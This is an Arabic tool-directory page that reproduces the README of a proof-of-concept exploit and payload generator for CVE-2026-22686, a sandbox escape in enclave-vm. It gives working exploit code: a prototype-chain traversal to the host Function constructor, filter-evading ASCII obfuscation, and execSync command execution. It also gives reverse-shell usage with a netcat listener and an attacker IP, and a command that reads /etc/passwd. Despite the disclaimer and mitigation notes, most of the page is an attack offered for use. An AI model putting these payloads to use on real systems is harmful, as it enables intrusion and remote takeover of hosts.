Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — أداة استغلال إثبات المفهوم ومولّد الحمولات لـ CVE-2026-22686، وهو هروب من وضع الحماية في enclave-vm <2.7.0 يتيح تنفيذ تعليمات برمجية عشوائية وأصداف عكسية. | Kitploit
أدوات/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليمالفريق الأحمر

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

أداة استغلال إثبات المفهوم ومولّد الحمولات لـ CVE-2026-22686، وهو هروب من وضع الحماية في enclave-vm <2.7.0 يتيح تنفيذ تعليمات برمجية عشوائية وأصداف عكسية.

عرض المستودع
منذ 3س 43دلم تتم المراجعة بعد
مشاركة

CVE-2026-22686 — PoC للهروب من صندوق الحماية enclave-vm

CVE CVSS enclave-vm Python License

إثبات مفهوم (PoC) لاستغلال ثغرة ومولّد حمولات لـ CVE-2026-22686، وهي ثغرة حرجة للهروب من صندوق الحماية في enclave-vm الإصدارات الأقدم من 2.7.0، مما يسمح بتنفيذ تعليمات برمجية عشوائية داخل بيئة تشغيل Node.js المضيفة.

⚠️ إخلاء مسؤولية: هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرّح به فقط. الاستخدام ضد أنظمة دون موافقة كتابية مسبقة غير قانوني. المؤلف لا يتحمل أي مسؤولية عن أي إساءة استخدام.


📖 جدول المحتويات

  • نظرة عامة
  • تفاصيل الثغرة
  • كيفية العمل
  • التثبيت
  • الاستخدام
  • تشريح الحمولة
  • التخفيف
  • الجوانب القانونية
  • المراجع
  • المؤلف
  • الترخيص

  • 🔍 نظرة عامة

    enclave-vm هي مكتبة لعزل JavaScript مصممة لتنفيذ تعليمات برمجية غير موثوقة بأمان داخل بيئة محكومة. في الإصدارات < 2.7.0، يسمح خلل في كيفية تعريض كائنات الأخطاء الخاصة بالمضيف لصندوق الحماية للمهاجم بالتنقل عبر سلسلة النموذج الأولي (prototype chain) والوصول إلى مُنشئ Function الخاص بالمضيف، مما يؤدي فعليًا إلى الهروب من صندوق الحماية.

    يحتوي هذا المستودع على:

    • مولّد حمولات ينتج حمولة JavaScript جاهزة للصق
    • دعم تنفيذ أوامر عشوائية على المضيف
    • دعم حمولات الـ reverse shell
    • واجهة سطر أوامر تفاعلية ثنائية اللغة (فرنسي / إنجليزي)

    🛡️ تفاصيل الثغرة

    الحقلالقيمة
    CVE IDCVE-2026-22686
    CVSS v3.110.0 (حرجة)
    CWECWE-693 — فشل آلية الحماية
    المكوّنenclave-vm
    المتأثر< 2.7.0
    تم الإصلاح في2.7.0
    التأثيرالهروب من صندوق الحماية → تنفيذ تعليمات برمجية عشوائية (RCE)

    السبب الجذري

    عندما يفشل استدعاء أداة داخل صندوق الحماية، يعرّض enclave-vm كائن Error الخاص بالمضيف مرة أخرى للتعليمات البرمجية داخل صندوق الحماية. ولأن كائن الخطأ هذا يحتفظ بسلسلة النموذج الأولي الأصلية من بيئة المضيف، يمكن للمهاجم التنقل صعودًا في السلسلة كما يلي:

    root@kitploit:~
    Error instance
       └── Error.prototype
            └── Error constructor
                 └── Function constructor  ← host Function!
    

    بمجرد الحصول على مُنشئ Function الخاص بالمضيف، يمكن للمهاجم تجميع وتنفيذ JavaScript عشوائي في بيئة تشغيل المضيف — متجاوزًا صندوق الحماية بالكامل.


    ⚙️ كيفية العمل

    يتبع الاستغلال الخطوات التالية:

    1. إثارة خطأ من جانب المضيف عبر استدعاء أداة غير موجودة (callTool('NONEXISTENT', {})).
    2. استرجاع كائن الخطأ من صندوق الحماية (فهو يحتفظ بمرجع إلى سلسلة النموذج الأولي الخاصة بالمضيف).
    3. التنقل عبر سلسلة النموذج الأولي للوصول إلى Error.prototype.constructor.constructor، وهو Function الخاص بالمضيف.
    4. تجميع حمولة المهاجم باستخدام Function الخاص بالمضيف وتنفيذها.
    5. تقوم الحمولة بتحميل child_process وتنفيذ أمر shell عشوائي (أو إنشاء reverse shell).

    جميع الكلمات المفتاحية الحساسة (constructor، __proto__، __lookupGetter__، prototype) مُموّهة كرموز ASCII لتجاوز المرشحات الساكنة الساذجة.


    📦 التثبيت

    لا توجد تبعيات خارجية — يستخدم مكتبة Python القياسية فقط.

    root@kitploit:~
    git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
    cd CVE-2026-22686-PoC
    chmod +x generator.py
    

    المتطلبات:

    • Python 3.8+

    🚀 الاستخدام

    الوضع التفاعلي

    root@kitploit:~
    python3 generator.py
    

    سيُطلب منك:

    1. اختيار لغتك (فرنسي / إنجليزي)
    2. اختيار نوع الحمولة (أمر أو reverse shell)
    3. تقديم الأمر / IP / المنفذ

    ثم انسخ الحمولة المُنشأة والصقها في مدخل صندوق الحماية المصاب.

    تنفيذ الأوامر

    root@kitploit:~
    python3 generator.py -c "id"
    python3 generator.py -c "cat /etc/passwd"
    python3 generator.py -c "ls -la /home"
    

    Reverse Shell

    الطرفية 1 (المهاجم — المستمع):

    root@kitploit:~
    nc -lvnp 4444
    

    الطرفية 2 (المولّد):

    root@kitploit:~
    python3 generator.py --revshell 10.10.15.152 4444
    

    انسخ الحمولة الناتجة والصقها في صندوق الحماية. يجب أن تستقبل shell في الطرفية 1.

    إخراج الحمولة الخام

    root@kitploit:~
    python3 generator.py -c "id" --raw > payload.js
    python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
    

    خيارات سطر الأوامر

    الخيارالوصف
    -c, --commandأمر shell المراد تنفيذه
    --revshell LHOST LPORTإنشاء حمولة reverse shell
    --rawطباعة الحمولة فقط (بدون شعار، بدون زخرفة)
    --lang {fr,en}فرض لغة الواجهة
    -h, --helpعرض المساعدة والأمثلة

    🔬 تشريح الحمولة

    1. مفكك ترميز ASCII

    root@kitploit:~
    const s = (...args) => String.fromCharCode(...args);
    

    مساعد صغير لفك ترميز مصفوفات رموز ASCII في وقت التشغيل.

    2. الكلمات المفتاحية المُموّهة

    root@kitploit:~
    const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
    const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
    const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
    const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"
    

    يتجنب المرشحات البسيطة القائمة على النصوص.

    3. سلسلة الاستغلال

    root@kitploit:~
    const ObjectProto = Object[kPtype];
    const lookup = ObjectProto[kLookup];
    const getProtoNative = lookup.call(ObjectProto, kProto);
    
    let hostError;
    try {
        await callTool('NONEXISTENT', {});
    } catch (e) {
        hostError = e;
    }
    
    const errProto = getProtoNative.call(hostError);
    const HostFunc = errProto[kCon][kCon];   // Host's Function constructor
    const result = HostFunc(payload)();      // Arbitrary code execution
    

    ثم يُستخدم Function الخاص بالمضيف لتنفيذ أمر المهاجم عبر child_process.execSync().


    🛡️ التخفيف

    للمطورين:

    • قم بترقية enclave-vm إلى >= 2.7.0.
    • راجع شجرة التبعيات لديك بانتظام (npm audit، Snyk، Dependabot).
    • لا تعرّض ميزات تنفيذ صندوق الحماية لمدخلات غير موثوقة دون تحقق إضافي.
    • شغّل التعليمات البرمجية داخل صندوق الحماية في عمليات معزولة (مثل isolated-vm، gVisor، Firecracker).

    للمستخدمين / المؤسسات:

    • راقب مكتبات صندوق الحماية القديمة في بيئة الإنتاج.
    • قيّد الوصول الشبكي الصادر من أي عملية تنفذ تعليمات برمجية للمستخدم.
    • طبّق مبدأ الامتياز الأقل: شغّل عمليات Node.js كغير root.

    الكشف:

    ابحث عن طلبات HTTP أو إرسالات تعليمات برمجية تحتوي على callTool('NONEXISTENT'، __lookupGetter__، مصفوفات طويلة من القيم الصحيحة المفصولة بفواصل، أو child_process / execSync.


    ⚖️ الجوانب القانونية

    هذا المشروع منشور بشكل صارم لأغراض البحث الأمني التعليمي والدفاعي. وهو مخصص لباحثي الأمن، واختباري الاختراق المصرّح لهم، ولاعبي CTF.

    لا تستخدم هذه الأداة ضد أنظمة لا تملكها أو تفتقر إلى تصريح كتابي صريح لاختبارها. الوصول غير المصرّح به إلى أنظمة الحاسوب غير قانوني في معظم الولايات القضائية (CFAA في الولايات المتحدة، Computer Misuse Act في المملكة المتحدة، المادة 323-1 في فرنسا) وقد يؤدي إلى عقوبات جنائية شديدة.

    باستخدامك هذا البرنامج، فإنك توافق على أن المؤلف غير مسؤول عن أي أضرار أو عواقب قانونية ناتجة عن استخدامه.


    📚 المراجع

    • enclave-vm على npm
    • PoC الأصلي بواسطة @amusedx
    • CWE-693: فشل آلية الحماية
    • توثيق child_process في Node.js
    • OWASP: أفضل ممارسات صندوق الحماية

    👤 المؤلف

    • GitHub: @moi_404

    📄 الترخيص

    هذا المشروع مرخّص بموجب MIT License — راجع ملف LICENSE للتفاصيل.


    🙏 شكر وتقدير

    • @amusedx على البحث الأصلي عن الثغرة و PoC
    • القائمين على صيانة enclave-vm على الإفصاح المسؤول والإصلاح
    • المجتمع الأمني على البحث المستمر حول عمليات الهروب من صناديق حماية JavaScript

    ⭐ المساهمة

    طلبات السحب مرحّب بها. للتغييرات الكبيرة، يرجى فتح issue أولاً.

    التحسينات المقترحة:

    • ترميزات إضافية (base64، hex، rot13) لتجاوز WAFs
    • الكشف التلقائي عن نقاط النهاية المصابة
    • دعم مكتبات صندوق حماية أخرى (vm2، isolated-vm)
    • اختبارات وحدة وتكامل CI
    تنزيل الأداة